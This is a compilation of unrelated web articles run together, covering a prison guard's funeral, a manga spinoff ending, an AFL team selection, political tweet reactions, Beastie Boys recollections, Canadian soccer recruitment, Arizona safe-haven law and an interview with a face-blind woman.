Baldwin State Prison Warden hands Denise Billue her brother Sgt. Curtis Billue's badge during funeral services
One of the murdered guards was Christopher Monica (pictured), who had been a prison guard since 2009
Dozier has promised they 'will be brought to justice swiftly for their heinous crime against our officers.'
Monica's funeral is set for Tuesday in nearby Milledgeville.
Bruce Billue said his brother never hesitated to help someone in need.
'Curtis' heart was engraved with service. He took all these position and tried to excel and make life better for others,' Bruce Billue said. 'We will miss you, love you beyond words.'
By giving his own life, Curtis Billue may have saved other officers, Pastor Harold Banks said.
He said the sergeant would want his loved ones to forgive the men who committed these 'atrocious acts.'The November issue of Kadokawa's Young Ace magazine announced on Tuesday that Kei Sanbe will end his Boku dake ga Inai Machi Re spinoff manga in the magazine's next issue on November 4. The December issue will feature the manga on the cover.
The manga is a spinoff of Sanbe's original Boku Dake ga Inai Machi manga, and covers stories not seen in the original manga.
The original manga's story follows Satoru Fujinuma, a 29-year old struggling manga artist who possesses a strange power: a largely uncontrolled ability to turn back time before a life-threatening accident occurs around him. When his mother notices a serial kidnapper in action, and is later murdered for it, Satoru unwillingly turns back time to arrive 18 years in the past in his elementary school days, some time before an incident that has haunted him his whole life: the disappearance and murder of his classmate Kayo Hinazuki.
Sanbe launched the spinoff on June 4.
Sanbe began the original manga in 2012, and ended it on March 4. Kadokawa published the manga's eighth and final compiled book volume on May 2. The manga was nominated for the Tezuka Osamu Cultural Prize 'Reader Award' in 2014 and last year's Manga Taisho Awards. Yen Press will release the manga's first volume in North America in spring 2017.The Western Bulldogs have made two changes to the side that went down to North Melbourne last weekend, with Caleb Daniel returning from injury and Jack Redpath set to make his 2016 debut.
After strong form at VFL level, Assistant Coach Rohan Smith said the time was right for Redpath to make his debut.
“We’ve wanted to bring Jack in it’s just that the circumstances haven’t been right, so we just felt this week was the right time to bring him in.
“He’s been in some good VFL form, he takes a really good contested mark but he’s a good mark on the lead as well.
“He’s got some explosive power, he puts good pressure on, he can lay a tackle and he can kick a very good goal.’
Daniel has been selected for his first game since suffering a calf strain following the Club’s round four clash against Carlton, and Tom Liberatore has been named after recovering from a corky sustained on Friday night.
“He copped a really good one but he’s looked after it during the week like a treat and he’s fine,” Smith said.
With Koby Stevens to miss with an abdominal strain and Lin Jong omitted, the Dogs have opted to go tall against the Crows, with Redpath, Tom Campbell, Jordan Roughead and Fletcher Roberts all named.
While Adelaide are the League’s highest scoring side, Smith says they won’t be reliant the back six to hold the likes of Eddie Betts and Taylor Walker to account.
“When you look at defence, and people say we’re the number one for stopping sides, it’s not just the defenders, I think it’s the way the whole team defends.
“And that’s been really positive the way the forwards put pressure on, the midfielders are really good at putting pressure on and hunting the opposition, and the defenders are doing really well as well.
“So, it is our total team defence that we focus on, it’s not just the defenders.”
Zaine Cordy, Josh Dunkley and Mitch Honeychurch has been named as emergencies.
Round 7 – Western Bulldogs v Adelaide
Saturday 7 May, 7:40pm
Venue: Etihad Stadium
To view the Adelaide Crows' team for Saturday night, click here.Share Tweet Email address: Leave this field empty if you're human:
George Takei took Hurricane Irma as another opportunity to insult the Trumps on Twitter, and social media users were having none of it.
The former Star Trek star tweeted that it would be “wrong” to rename Hurricane Irma after Ivanka Trump, because “Irma is a powerful fastmoving storm while Ivanka is weak, powerless and ineffective.”
Check it out (via Twitchy):
Wrong to rename Hurricane Irma after Ivanka. After all, Irma is a powerful fast moving storm while Ivanka is weak, powerless & ineffective. — George Takei (@GeorgeTakei) September 7, 2017
Here’s some of the responses:
Remember shit like this when they claim to be the Party of Compassion. https://t.co/gh16fdiZ9k — Krystle Schoonveld (@TarheelKrystle) September 7, 2017
Really, taking pot shots at the POTUS family with a pending natural disaster. Sulu, you're a putz. https://t.co/MTJ9xrEF4x — Bwana (@keepingtabsyall) September 7, 2017
Irma has destroyed thousands of homes and businesses. People are missing and/or dead and you're scoring petty political points. Gross. https://t.co/zwcUusi6T9 — Heather (@hboulware) September 7, 2017
It's almost like all of the lefty talking points about empowering women and equality are utter crap…. https://t.co/BiZLE7xrNr — Michelle Ray (@GaltsGirl) September 7, 2017
Wow, sexism AND shitting on hurricane victims. Throw in being George Takei, and you've hit the douchebag trifecta. https://t.co/Y7JkGuTpDO — Eric Spencer (@JustEric) September 7, 2017
You can follow Mary Kate on Facebook here and Twitter here.
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DISCLAIMER: Views expressed in articles do not necessarily reflect the views held by Sarah Palin.
The author of this article has included commentary that expresses an opinion and analysis of the facts.After visiting Nazi concentration camps in Poland last week during “Mike Huckabee’s Reagan, Thatcher, Pope John Paul II Tour,” the former Arkansas governor addressed his guests with a speech about “the soul of America” and its alleged social ills. Abortion rights and marriage equality, Huckabee said, rise to the top of the list of what ails the country.
He blamed the legalization of abortion and same-sex marriage on the failure of pastors to become active in politics. Huckabee said Americans have “blood on our hands” for failing to criminalize abortion and contended that reproductive freedom is much worse than the Nazi Holocaust.
Huckabee added that the country will also “pay the consequences” for trying to “tinker” with marriage and “having upended the very foundation which is the essence of how a civilization survives.”Filmmaker Spike Lee is calling a “lie” a U.S. government report that 75 percent of the spilled Gulf Coast oil is gone.
Speaking to a meeting of the Television Critics Association on Saturday, Lee said journalists should expose what he called the real story. He argued that it’s unlikely that “abracadabra, presto chango” the vast majority of the oil has vanished from Gulf of Mexico waters and coastal wetlands.
Federal scientists said last week that nearly three-quarters of the oil has been removed by various artificial or natural means, but that the spill’s effect on wildlife will long continue.
Lee was promoting his new documentary about New Orleans after Hurricane Katrina. “If God is Willing and Da Creek Don’t Rise,” a follow-up to his 2006 film about the hurricane, debuts Aug. 23 and 24 on HBO.
FULL AP STORY FOLLOWS BELOWLicensed to Ill, the major-label debut from groundbreaking New York City rap crew Beastie Boys, turns 30 on Tuesday, November 15.
It is by no means the trio’s best album even by a long shot, quite the opposite actually. It’s not their worst, either. That honor goes to 2004’s To The 5 Boroughs, a misguided backtrack to 1986, which fell flat creatively given all the leaps and bounds Adam Horovitz, Mike Diamond and the late, great Adam Yauch had made on such subsequent works as Paul’s Boutique, Check Your Head, Ill Communication and Hello Nasty.
The immediacy of the time period they were harking back to, when the B-Boys first linked up with Rick Rubin and spliced together samples of Schoolly D’s “Gucci Time” and Led Zeppelin’s “Custard Pie” so they could rhyme about guns, girls and goofing off, impacted the youth of America like a Boeing 727 crashing into the side of a mountain.
The Beastie Boys’ influence on our culture is even more surreal when you consider where they got their start: the New York hardcore scene. And weirder still when you remember that in 1987 you could turn on American Bandstand on Saturday afternoon and find the Beasties scaring the normals in the studio audience with a rowdy lip sync through their breakthrough hit “(You Gotta) Fight For Your Right (To Party!)” with the unmistakable riff from Slayer’s Kerry King, a song that peaked on the Billboard charts at No. 7. Then they made history when Ill became the first hip-hop album to reach No. 1 on the charts, where it stayed for seven weeks.
It was an era-defining culture clash that took the ground broken by Blondie with “Rapture” and touring partners Run DMC’s Eddie Martinez-fueled heaters like “Rock Box” and “King of Rock” (not to mention their own 1986 crossover smash covering Aerosmith’s “Walk This Way”) and pulverized it into a fine sniffable powder. It was the sound of the underground youth of Manhattan who inhabited local dives like A7 and CBGB’s after the punks all went Hollywood staking their claim on America’s Top 40.
And they didn’t forget their roots once they hit the big time either—the Beasties called upon Murphy’s Law to open for them when they embarked on their first headlining tour in support of Licensed to Ill.
It’s a staggering juxtaposition that existed like a strange wormhole inside the excess of the Reagan era that always begged the question of what their fellow brothers on the NYHC scene thought of the trio’s transition from hardcore to hip-hop while bringing these distant twins of ’80s underground music closer together as both creative and business partners. (For instance, Murphy’s Law and metalcore pioneers The Cro-Mags were both signed to Profile Records, who also released albums by Run DMC, Dana Dane and Poor Righteous Teachers at the time.)
In honor of its 30th anniversary, the Observer recently spoke with Jimmy Gestapo and Doug E. Beans from indelible Queens hardcore band Murphy’s Law, Cro-Mags bassist Harley Flanagan and longtime Beasties friend and inspiration, bassist Darryl Jenifer of DC hardcore icons Bad Brains, about these very questions in the context of Licensed to Ill, and its role in the evolution of youth culture beyond the charts and MTV.
Darryl Jenifer, Bad Brains
“Hip-hop was really starting to jump off around ’82 or ’83. I remember when it was a phenomenon that was hitting uptown, and then it just kinda came downtown like the new thing, which always happened. It could be a new dance, but this time it was a new sound. So Mike [Diamond] and them, they were hardcore kids but were discovering something new and picked up on hip-hop early. I think they were trying to be funny with it first, because it wasn’t really their thing.
“They were mainly rock dudes; at least Mike D and [Adam] Yauch. Ad Rock was a b-boy the whole time. You see, I used to call him my son when they was really young, like about 15. He always had that b-boy persona, even back then. Yauch was a rock dude and Mike D was kinda like this pimp/rock dude who hung out with a lot of girls, some of them went on to become Luscious Jackson.”
“And then I would be the young rasta, and then there was Tania [Aebi], who was my little girlfriend. She was the one who sailed around the world. We all used to hang out at the Rat Cage. I’d be hanging out, eating cashews and smoking weed. Everybody would just be hanging out, like hanging-out-on-the-stoop-type thing.”
“Eddie from Leeway was kind of like a b-boy in rock. Jimmy Gestapo was a b-boy in rock as well. He was one of the illest MCs back then, but he was in a hardcore band. Run DMC’s records even had rock guitars in them back then. It was crossing over at all angles. And then we kicked off with the band Brooklyn after Yauch got off the road, and we were sort of ahead of our time when we was kicking shit like that.”
“Brooklyn’s music was sort of like American rock ‘n’ roll. It wasn’t punk and it wasn’t hardcore, and it was at a time before people started to think it was cool to be more grassroots with your rock, wearing plaid shirts and shit like that. The politics of hip-hop and what Yauch and them were going through blowing up, the whole trip just made my man Adam wanna cool out a little bit and play some shit that he used to know. For years, Yauch wouldn’t even talk about that record with me, hardly. It’s something that he wanted to do which he thought at the time sounded dope. I’m not so sure he was so confident in his vocals, but I think it sounds great, man.”
Harley Flanagan, Cro-Mags
“Some of my best childhood memories are hanging out with Adam Yauch and John Berry, who was still with them back then. They were two of my best friends. The first time I ate acid was with those guys. I mean, we did a lot of silly goofy-ass shit together growing up. I can tell you so many nights sleeping over at John’s house or Adam’s house and just laughing until your stomach hurts about goofy teenage youth.”
“Those guys were great, man. They came from a little bit of a better background from me; I was a Lower East Side kid and we were far from that. But they hung out in my neighborhood, because that’s where everything was happening in the Lower East Side. That’s where music lived; that’s where life was pumping, so they came to my hood to hang out.”
“I met them because they were fans of my old band The Stimulators and they used to come out to see us play. They told me, and I mention it in my book, that John Berry’s quoted in saying that I was a big inspiration in them starting playing in bands, because they were like, ‘Fuck, man, Harley’s younger than us and he’s out there rockin’. Let’s do this, what’s stopping us? He’s 11. We’re 13, 14, 15. If he could do it, let’s do this shit, what the fuck!’ ”
“What Rick Rubin did with the Beastie Boys changed musical fucking history.”—Harley Flanagan, Cro-Mags
“Those guys were really fucking good guys, and over the years I would see the Beastie Boys play in different huge concerts and always made sure I was on the guest list and would always give me a shout out from the stage. I miss Adam and John a lot.”
“What Rick Rubin did with the Beastie Boys changed musical fucking history. To be honest, back then I was not a big fan of musical sampling. My opinion has changed a little since then, now I can appreciate using samples and the creative mind that it takes to hear something and think, ‘Oh, this would be really cool to loop.’ But in the early days I thought it was thievery. I didn’t really appreciate the art of it and all that shit back then.”
“Sabbath, for instance, was a huge influence on me, especially in the Cro-Mags days and I think that’s what set us apart from the rest of the New York hardcore bands is because we had a lot of influences outside of hardcore. The bands who only listened to hardcore, I think most of them suck because after a while it was like where are you drawing your inspiration from? It’s like the same shit over and over and over again. And I think that’s probably why the Beastie Boys made such an impact on everybody was because they started to draw on influences outside of their circle. They went beyond it.”
Jimmy Gestapo, Murphy’s Law
“Everybody ran away from home and wound up on the Lower East Side and we all hung out at a place called A7. That’s where the shows started, but I met the Beastie Boys at Max’s Kansas City back when they were The Young and The Useless, and we became good friends. I sing on the Young and Useless 7-inch, on the song ‘Rise and Shine’. We hung out all the time at A7, though, and Jack Rabid would be DJ’ing and we’d all sit around and talk about music, particularly a lot of the stuff that was coming out of England, back when it was still punk, before the hardcore shit.”
“Stuff like The Rezillos and The Sex Pistols. We were all of 14, 15 years old. That’s the way it all came about. We hung out with Adam and those guys right when they started to take off after they hooked up with Rick Rubin, who was big on the scene as well while he was going to college. He played in a band called The Pricks and they used to play Max’s and stuff, too. And then it just started to evolve. There were a lot of kids from my neighborhood, smoking weed and listening to rap, and not this pussy stuff they have now, more like Schoolly D and shit like that.”
“Stuff with personality that had tact and talent and had a message to it, not just guys bragging about what they had or what they wearing. It was all new to us, this evolution of music that was going on in the boroughs around hip-hop. And none of us thought we were going to get anywhere; everyone was just having a good time and there was no aspect of creating music as to go and make money or travel the world. We were just doing what we were doing at that time, and it was fucking great. I am really happy I got to be a part of it.”
“You can find me in the ‘Fight For Your Right’ video. I was in the middle of the room when everybody was dancing around and I got my Murphy’s Law shirt on. My old girlfriend Natalie is in it, she was one of the girls who pulls the nerd into the back room. My guitar player smashes a cake in one of the guys’ faces. The whole band was there. We did both days of shooting and stayed out all night. It was filmed at somebody’s loft apartment, which was pretty much how all videos were done back then.”
“Ric Menello, who did all of their videos for Licensed to Ill, invited all of us there. In fact when Rick Rubin and Russell Simmons started Def Jam, they invited us to all of the hip-hop shows, which definitely helped to bridge the gap between hardcore and hip-hop. They were so old school about it, and that was really cool.”
Doug E. Beans, Murphy’s Law
“Adam Yauch started Brooklyn with me, Darryl Jenifer and [Beasties associate] Tom Cushman because he needed a break. He wanted to get back to playing music. I mean, all he did really was rap when he was on tour for Licensed to Ill. They’d just have to show up on stage and do their thing on the mic. But I think it also made him want to go back to the music and he had a lot of stuff written, so he looped me and Darryl in with what he and Tom were doing.”
“We had a great time recording those sessions, and Yauch foot the bill for everything. He paid for Darryl and me to come down to the city from upstate, because both of us lived up there. It was an interesting couple of months. We would practice with Brooklyn and then I would go to Queens and Darryl would go to the Village to record with the Brains and then we would meet on the 11:30 bus to go back to New Paltz and Woodstock like, ‘See you in two days!’ ” [Laughs]
“For me, meeting Darryl Jenifer was amazing. The first time I played with them I didn’t know who was coming, I just thought it was going to be me, Yauch and Tom Cushman. And then Darryl comes walking in, and I was like, ‘Holy crap!’ When I left the tour, Adam Yauch was like, ‘Hey man do you wanna jam sometime?’ And I was like, ‘Sure, here’s my number’ thinking he’d never call me again. But one day my mother’s like, ‘Adam Yauch’s on the phone!’ And he tells me to meet him in this studio in the city.”
“I’m used to playing in these giant studios on 10th Ave and little shitholes and things like that. For these sessions I walked into a house, and I didn’t know if I was in the right place. So I went to the front desk and said, ‘Adam Yauch,’ and they were like, ‘Oh yeah, Room D.’ I go in and it’s a freakin’ stage and monitors and all the microphones were set up and there were couches. It was awesome and I was really lucky to be part of it. I hope those sessions come out one day.”
“I began working at the restaurant I’ve owned up in New Paltz for the last 23 years when I got back from the Licensed to Ill tour. We came back off the road and literally a week later Murphy’s Law went back on tour down South, and when I came back I had no money, so I needed to make some money. We didn’t make that much on the Beasties tour either. It was a paid vacation, really. Ten bucks a day per diem and then we got the money from merchandise but that was it. We weren’t making much opening. But it was an amazing time.”
“It was us and Fishbone who were opening up for them, and then Public Enemy. I think the logic behind it was because it was a college tour, and the whole first month was almost all colleges and small-ass clubs. I mean, we played like The Stone in San Francisco and it was selling out quick. We would do like two nights at The Stone and then we were doing another night in Seattle. We actually started off in Montana, and it just got to the point that by the time we worked our way down to Hollywood, it just exploded, that whole thing. It was crazy.”
“I joined Murphy’s Law in December of ’86, and right off the bat they were like, ‘Do you wanna go out on the road with this band the Beastie Boys?’ And I was like, ‘Who?’ [Laughs] I had kind of heard of them through the punk circle, but never saw them. So we played two shows with them in New York; one at The Ritz, which was a gig primarily for record label people from Def Jam. But then we played Nassau Community College, and Run DMC came out and that was pretty wild.”
“Then when we flew out West, that’s when Fishbone joined the tour and when we came back out East, Public Enemy joined the tour. That was crazy. I remember the first night they were doing their whole black power thing, and Lyor Cohen ripped them a new asshole backstage in the dressing room. We were all standing there and he was like, ‘You gotta play to the kids if you wanna make money.’ And the next night they toned it down. They played the game, man. They had to; it was a predominantly white crowd and Def Jam was nervous they were pissing people off.”For years, Canada has given the world some great soccer players. Now, the country is trying to get some back.
While the men’s national team has languished in a three-decade World Cup drought, fans up north have been forced to watch Canadians perform on the sport’s grandest stage for other nations—be it Jonathan de Guzman for the Netherlands, Asmir Begovic for Bosnia and Herzegovina or, most famously, Owen Hargreaves for England.
“It’s vitally important we look to talent in every corner of the globe.”
In the modern game, Canada is hardly unique in losing out on players who are eligible for multiple national teams. But Canada’s historic lack of success has made it more susceptible to losing out in such matters, fuelling a perception that talented players slip through the cracks thanks to passivity or negligence from the Canadian Soccer Association.
It’s worth noting that Canada has also gained key players over the years, from Poland-born Tomasz Radzinski, to Croatia-born Milan Borjan, to Slovakia-born Igor Vrablic (who scored the goal that qualified Canada for the 1986 World Cup).
And these days, Canada is gaining like never before, with the recent additions of players like Junior Hoilett, Scott Arfield and Tesho Akindele. That sudden influx is no coincidence; it’s the outcome of a CSA effort to turn the tide.
“The number of players who can represent different countries continues to grow as the world seems to get smaller,” Canada under-20 head coach Rob Gale said last week. “It’s vitally important we look to talent in every corner of the globe.”
Gale took over the U-20 team in 2014. Since then, the program has bolstered its worldwide scouting network, actively tracking as many players with Canadian connections as possible.
It has already paid dividends: Gale helped recruit Toronto-born Fraser Aird, who’d spent three years in Scotland’s youth system, back to the Canadian program in 2015. The 22-year-old is now cap-tied to Canada, and could become a crucial piece for the senior team.
Fraser Aird (John Hefti-USA TODAY Sports)
There are similar stories on Canada’s squad for the upcoming CONCACAF U-20 Championship, including Kris Twardek (who, last year, switched his allegiance from the Czech Republic) and Diego Gutierrez (who’s been on the national-team radar in Chile, where he plays professionally).
Though Gutierrez didn’t debut with Canada’s U-20s until last month, Gale has been tracking him and twin brother Cristian (who also plays in Chile) for three years, a process that has included countless discussions with the players, their family and various officials.
“It’s not like a sudden late call-up,” said Gale. “There’s years of work that’s gone into this behind the scenes.”
It may seem like a lot of effort for a player who might ultimately choose to represent Chile, anyway. But in Gale’s mind, just getting a player into a Canadian training camp is a monumental step.
“We feel very confident (that) once a player comes in with us, they’ll have every opportunity to enjoy their experience … and feel valued by the Canadian Soccer Association.”
Increasing the level of professionalism and the caliber of the off-field experience (from providing sport scientists to upping the quality of travel and accommodations) has been a priority in the men’s program for several years now, under outgoing CSA president Victor Montagliani.
The hope is that such attention to detail will help convince players with multiple eligibilities to stick around—and, perhaps, pass the message on to others.
“The players feel it when they come in, and players talk,” Montagliani said in a 2015 interview. “It’s obvious to these guys that we run a good ship.”
There’s no clearer example than the case of Arfield, the Scotland-born midfielder who was convinced to join the Canadian program by veteran national-teamer David Edgar, his former teammate at Burnley.
Arfield, eligible through his Canadian father, filed paperwork to join the program before he’d ever set foot in the country. Now, he’ll be a massive part of Canada’s 2022 World Cup qualifying campaign. Canada hasn’t qualified for the World Cup since 1986.
Naturally, the plan isn’t foolproof. Calgary-born Fikayo Tomori played for Gale’s team last year but has now seemingly committed to England, while Montreal Impact prodigy Ballou Jean-Yves Tabla declined a call to the CONCACAF tournament, leaving some fans to wonder whether he hopes to play for his native Ivory Coast.
But whatever decisions those players ultimately make, it seems that when it comes to attracting and retaining national-team talent, Canada finally has a fighting chance.
“(We try to) make sure that we follow up on every single lead that comes to us,” said Gale. “And I think we’ve done a much better job of that in this cycle, for sure.”
More features from FourFourTwo USAYou can leave your baby, up to 3 days old, with an on duty staff member at any hospital, emergency medical service provider, fire station or with any licensed private child welfare agency, licensed adoption agency or any church in Arizona.
How does it work? A distressed parent who is unable or unwilling to care for their infant can give up custody of their baby, no questions asked. They must simply bring the infant to a safe haven location and make sure they locate a person to give the child. As long as the child shows no signs of intentional abuse, no name or other information is required. The specific locations and maximum age of the child varies from state to state. You can find the details of for your location by using our Safehaven Finder. It's safe. It's anonymous. You do not need to tell anyone.
What's the difference between Safe Haven and Adoption? To place your infant for adoption, you must make an adoption plan and enter into a legal contract where you forfeit your right to custody of your child. Safe Haven arrangements do not require paperwork or contracts. The process is anonymous, so long as your baby is unharmed. Baby Safe Haven laws allow you to give your baby to a responsible adult at a designated location, and walk away, no questions asked. If you do not return to reclaim your baby, your parental rights will be terminated in a few months, and the child will be adopted by a family waiting for a child.
Can only a parent bring in the baby? No. The parent may choose to have someone else bring in the infant. It can be a family member, a friend, a priest or minister, a social worker—practically any responsible adult |
s. Brad Duchaine and Ken Nakayama, professors at Dartmouth and Harvard, started the website faceblind.org, which encourages people to come forward for assessment and testing. Duchaine notes that about two thirds of the over 10,000 subjects who have been tested are women, but speculates this might be because they are more willing to admit to this weakness and seek help. One of Duchaine and Nakayams’s key observations is that although many sufferers know something is wrong, they attribute the symptoms to anxiety or some other inexplicable social defect. Some report enjoying professions in which they don’t have to interact with many people, but Dr. Duchaine has heard horror stories from those who ended up in the most unsuitable of professions (teaching at a large school or working as a security guard, for example). It’s unknown if developmental prosopagnosia is congenital or if the defect is acquired in infancy.
Science of Us spoke with a 47-year-old consultant, writer, and part-time EMT from New England who has developmental prosopagnosia.
Have you always known you have prosopagnosia?
No. I only discovered it when I was in my late 30s, after I read an article in the New York Times. I thought I was uniquely stupid when it came to distinguishing or recognizing faces, but I couldn’t believe it when I discovered this was an actual condition. I told my mother to read the story. She got my two brothers to read it and one of them said, Oh gosh — that’s me too. That’s how we found out that we all share this trait.
What problems does it cause?
The issue is how I remember faces. It doesn’t matter if I know the person: I’ve walked right past my husband, my own mother, my daughter, my son, without being able to recognize them.
It can be very embarrassing, and it can offend people. I once had to drop a sociology class, because I told the professor, to her face, that she was a horrible lecturer. I thought I was complaining to a fellow student! It’s as if I have a missing chip — you feel like you’re just not trying hard enough. Faces are so important to humans that we have a special part of our brain dedicated to recognizing them. Most people remember them as a whole piece, but I don’t.
How do you remember them?
Say I showed you a bowl of fruit for 20 seconds. You would remember it as a bowl of fruit. If I let some time pass and asked you to tell me where the apple, pears, and bananas were positioned, you probably wouldn’t be able to. You would have to stare at that bowl of fruit, and commit it to memory, and you would have to know that you had to commit it to memory when you were looking at it.
To tell people apart I have to find a distinguishing feature. And context is huge. If I’m expecting to see somebody, I’ll figure out who they are by observing their body language, listening to their voice. Good-looking people are the most difficult to recognize
Is that because their faces are symmetrical?
Yes! Straight teeth, noses within regular limits … everything is so … normal! It’s like a flock of chickens. So what I do is look for specific features. I have one friend who’s average height, middle aged, and white, and she works in an office full of average middle-aged white ladies. And even worse, it’s a doctor’s office, so they are all wearing scrubs. If I meet her at work, I can only recognize her if she smiles — it’s very specific. But these are the things I look for: Some people have a distinctive nose; some people have two different-colored eyes.
What did you do after reading the article? Did you get formally diagnosed?
It gave me a keyword that I could actually Google, and I found a group from Dartmouth that was researching face-blindness. They had an online test for self-diagnosis, and after I took it, I had a phone interview and then some in-depth visual tests. They show you pictures of celebrities but maybe you just don’t know who these celebrities are, so they first establish whether you’re from another country, English is your second language, maybe you grew up without a TV, maybe you live under a rock — that kind of thing.
The researchers concluded that I’m profoundly face-blind. One thing I find very difficult to get across is that it’s not as if I can’t recognize anybody at all — it’s that it can take me up to five minutes before I can figure out who they are. I have to wait for the signs. The other thing I have discovered is that there is a specific expression people have when they see somebody they know.
What’s that?
I call it the “I know you face” — it’s sort of a surprised micro expression. I’m convinced that it’s completely involuntary. It looks a little like surprise. The eyebrows go up, and usually the mouth opens like they’re about to say something. When I see it, I say hello, and then when I start interacting with them, I’ll remember who they are. That’s just one of a whole set of observational skills I’ve developed. Another is when I’m meeting somebody in public, I’ll arrive early so they’ll approach me.
I’m always looking for visual hooks. My daughter has a particular thing she does with her mouth. If there’s several people who could be her, I look for the mouth thing. If she’s nervous, or she’s irritated, one side of her mouth goes up. She’s done it since she was a baby. She doesn’t like having her photograph taken, so when I look at a group photo, I look for the kid with the smirk and I know it’s my daughter.
Does that mean that those kinds of things annoy you? Are you easily irritated if someone does something weird with their face or, say, cracks their knuckles?
No, any developmental weirdness is great for me. I was always friends with the weirdest kid I could find. I love people with tattoos, piercings, or unusual hairstyles. I can relax around them because they are easy to recognize. I tend to feel very warm toward people who are not considered attractive because I know who they are — wonky teeth, things like that. I have several trans friends. Physical ambiguity might put someone else off but not me. And the same goes for if someone has a disability, like a limp or a missing limb. A face covered in freckles or unsightly scars are great visual hooks for me. If I were to witness a crime, I’d be a better help to police if the suspect had their face covered. I could tell you what he was wearing and minute details, like that he’d just taken off his wedding ring because he had a tan mark on his hand.
Your mother has it, right? Do you know if it runs in the family?
We think my mother’s father had it because when they walked to church, he’d tip his hat to every single person he saw. When she’d ask him who it was, he’d say, “ I have no idea.” Interestingly, my father had bright red hair. I wonder if this distinguishing feature was what initially attracted my mother to him?
Tell me a bit about your background. Where did you grow up?
My parents were from the U.K. They left in 1967 and we eventually settled in southeastern Michigan. It was sudden and they never did say why. However, before she died, my mother told me that a woman had turned up at her house with a red-haired baby, claiming it was my father’s. He never denied it and there was no way to prove paternity back then. Good Catholics didn’t get divorced in 1963, so I think they moved to avoid a scandal.
Can you recognize your family?
When I was younger, it was always very comical when my mother and I were looking for each other. Nothing would make me more anxious than meeting somebody in a public place. When I was 18, we went to a theme park in Ohio. I was dragged against my will and I was unhappy in that distinctly teenage way. I got even more pissed off because my mother and my siblings were late. Meanwhile, my mother was angry because her unruly daughter was nowhere to be found and we were actually standing 15 feet from each other. I had been with them earlier but in the interim I’d put up my hair and taken off my sweatshirt because I was getting sunburned. I hadn’t paid a whole lot of attention to what they were wearing, which is how I would usually recognize them. My husband has a very distinctive look: a very long beard and hair. I tell him, You can’t ever shave your beard or I won’t be able to find you!
When my kids were little I’d take pictures of them before we went anywhere so if they got lost I could tell people what they look like. My son had a distinctive blue and white camouflage hat that he wore for five years. It was great for me when we were in the playground because I could track him. The rule was that my kids had to keep me in their line of sight. If there was a crowd of kids and mine weren’t wearing anything distinctive, I was totally lost.
What was it like for you at school? I imagine social dynamics were difficult …
My daughter says I have PTSD from school — I was so awkward. You know Ali Sheedy’s character in The Breakfast Club? That was me. I’ve always been an introvert, and I didn’t understand fashion or makeup. I was a big old freak — that kid reading Lord of the Rings in the library. When my classmates were being charitable, they thought I was shy, and when they weren’t, they assumed I was a snob.
I was heavy, which didn’t help. Makeup baffled me; it still does. My friends say I failed Girl 101. I was at a bit of a loss when people would talk about having crushes on movie stars. I had crushes on literary fictional characters. I’m very text based. I immersed myself in science fiction, fantasy, horror, and comics because I could always tell the characters apart.
Who were your literary crushes?
Aragorn from Lord of the Rings, but I was equally attracted to both Eowyn and Gandalf. My crushes centered on characters I would really, really like to get to know.
Was it hard to make friends?
It really was. Because I could never tell who they were the next day. My best friend was a girl who was teased because she was socially awkward and scary smart. I was really drawn to that. She was also very distinctive-looking: blonde hair, bright green eyes, and incredibly pale skin. I had no problems finding her in a crowd.
When I was 15, I went to school in Wales for a few years because I was bullied. Looking back on it, I can see how awkward and off-putting I was, but at the time I had no idea what I was doing wrong. I had what I now consider my first episode of depression in maybe fourth grade. I went to a boarding school and I was extremely homesick. I couldn’t read Harry Potter for years because the experience was so scarring. I lost about 30 pounds. I think that the decision to send me away was a kind of surrender — my parents thought my problems were just the permissive American school system and that the nuns would sort me out. I still refer to boarding school as foster care for rich people.
However, in the U.K. I discovered the punk aesthetic, which was great for me …
You went through a punk stage?
I met a lot of punks in Britain. I was still an awkward teen when I came back to the States, but I had combat boots, ripped-up jeans, a the Cure T-shirt, and my hair was dyed a different color. Suddenly I was cool, in an offbeat way. And I could recognize the punks! They all had interesting topiary hair or piercings or distinct clothing. The burnout kids also tolerated me. They were often so out of it they didn’t remember their own names, so if I didn’t remember one of theirs, they didn’t care. Something else that might have put other kids off of me is that I might talk to a stranger like I knew them really well. I would so easily mistake somebody and come across as overly familiar. They were all skinny and blonde.
Were the social pressures the same when you were at boarding school in the U.K.?
Curiously, I was less awkward. Possibly because I was an exotic oddity. And school uniforms actually helped because I could always spot the people I went to school with in a crowd, but teenagers also individualized their uniforms just enough to give me a hook. Also, it was a very racially diverse school: girls from Hong Kong, Namibia, Gambia, and Ghana. Everyone had distinct accents. Since I rely on voice so much, it was a huge help to me.
I assume you aren’t that visual a person? I guess photos, celebrity culture, and the like aren’t your thing?
I don’t take or keep photos. My husband takes pictures of the kids. Unless it’s a specific event, and I look at a photo, the people may as well be stock images. I don’t understand a lot of superficial stuff. My husband and I recently started a consulting business and sometimes I have to go to events. Luckily where I live there’s a kinda frumpy dress code. It’s like “Oh, it’s a wedding, I’ll wear the good hiking shoes.” But, really, I have no idea how to look like a businesswoman. So I have to go to fashion websites to find out. YouTube makeup tutorials are great for me — my husband laughs at me because I’m surfing websites like an adolescent girl. I didn’t do that when I was a teenager because we didn’t have the internet.
What about magazines?
I’d always get distracted by the text — I didn’t care about the models or movie stars. I have problems watching a lot of films and TV shows because everyone looks so perfect I can’t follow the plot. I have a face-blind friend who used to work at the Beverly Hills Whole Foods. His employers loved him because he never recognized the famous customers.
Do you have a concept of whether you are attractive or not?
I have never been able to figure it out.
Can you recognize yourself?
Not always. I’ve had to say to friends of mine, “Is that a picture of me? Who is that?” If I unexpectedly see myself in a mirror, I might think it’s somebody else. It’s like, Why is that woman staring at me? Those times, I’ve been struck by how serious I look.
I’m fascinated to know how your condition impacts your self-esteem. How do you feel about your appearance? Is it an issue for you?
I don’t think it affects my self-esteem all that much. My internal idea of how I look is no more inaccurate than most. But I have always been very dissatisfied by my body — who isn’t? I have almost always felt I was too fat. One feature of the emotional bullshit I grew up with was a family that enjoyed telling me I was ugly. In so many words. Every day.
Your whole family?
It was a game they played, coupled with comments like “we’re only joking” and “don’t be so sensitive.” My parents thought name calling between siblings was normal and that I needed to be taken down a peg, anyway. I cringe at sitcoms where this is portrayed as acceptable (one reason I got rid of the TV) and I have a strict no-name-calling rule in my home. I realized early on that I was never going to be the pretty girl, so I better be smart. I guess it was occasionally confusing to me to realize I was looking at a photo of myself and the girl in the picture wasn’t hideous. On the other hand, I have plenty of pictures of myself that make me cringe.
